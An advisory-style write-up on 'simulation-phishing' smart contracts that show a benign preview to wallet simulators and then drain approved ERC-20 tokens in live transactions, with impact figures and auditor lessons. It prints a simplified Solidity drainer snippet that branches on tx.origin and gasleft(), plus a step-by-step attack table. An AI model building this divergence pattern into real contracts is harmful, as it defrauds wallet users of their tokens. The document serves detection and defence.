Root cause
Simulation-phishing contracts exploit the semantic gap between eth_call (used by wallet transaction simulators) and live eth_sendRawTransaction execution. A malicious contract implements divergent code paths: when called in a simulation context it returns a benign result (a small ETH gain, a harmless transfer event), but during a real transaction it drains all approved tokens from the caller.
The SimGuard researchers identified several canonical bypass gadgets used across the 4,224 contracts:
// Simplified pattern found in simulation-phishing contracts.
// tx.origin is address(0) in many eth_call simulation contexts.
function transfer(address to, uint256 amount) external returns (bool) {
if (tx.origin == address(0) || gasleft() > SIMULATION_GAS_THRESHOLD) {
// Simulation branch: return benign preview to the wallet
emit Transfer(msg.sender, to, amount);
return true;
}
// Live-tx branch: silently drain all approved tokens
IERC20(approvedToken).transferFrom(
msg.sender,
attackerAddress,
type(uint256).max
);
return false;
}
Other recorded patterns include storage-based toggle flags (set by a prior attacker transaction immediately before the victim call), block-number polling, and re-entrancy into the wallet simulator's callback hook.
Attack steps
| Step | Action |
|---|---|
| 1 | Victim is lured to a phishing site or fake DeFi UI that invokes the malicious contract |
| 2 | The victim's wallet calls the contract via eth_call to simulate the transaction |
| 3 | In simulation context (tx.origin == 0 or high gasleft()), the contract emits a benign event (e.g., a small ETH credit), so the wallet preview shows a gain |
| 4 | Victim confirms; wallet broadcasts a real eth_sendRawTransaction |
| 5 | In live context, the contract calls transferFrom(victim, attacker, maxUint256) against any previously approved ERC-20 token |
| 6 | Attacker address receives all approved balances; victim sees a failed or empty transfer |
Impact
- Affected chains: Ethereum mainnet, BNB Smart Chain, Avalanche C-Chain, Polygon PoS
- Contracts discovered: 4,224 unique malicious contracts
- Deployment window: August 2024 – June 2025
- Victims: 5,742 unique addresses drained
- Estimated total loss: up to $3,480,000 in ERC-20 token approvals consumed
- At least 38 distinct deployer addresses identified; some contracts reused the same bytecode with different attacker recipient addresses
Lessons for auditors
- Flag simulation-divergence gadgets: Any contract that branches on
tx.origin == address(0),gasleft()thresholds, or storage flags set by a prior privileged call should be treated as a critical red flag in review. - Run SimGuard in CI: The bytecode-level detector released with the arXiv paper (2607.28747) can be integrated into deployment pipelines to catch this pattern before mainnet.
- Harden wallet simulation: Wallet teams should populate
tx.originwith a non-zero sentinel address duringeth_callto close the most common bypass gadget. Fuzz-test simulation-vs-execution parity. - Revoke stale approvals: Users who granted unlimited ERC-20 approvals to unrecognized contracts on Ethereum, BSC, Avalanche, or Polygon should check exposure using revoke.cash or similar tools.
- Educate on approval hygiene: The attack requires a pre-existing unlimited approval. Protocols and auditors should advocate for time-limited or amount-capped approvals and EIP-7702 session keys where available.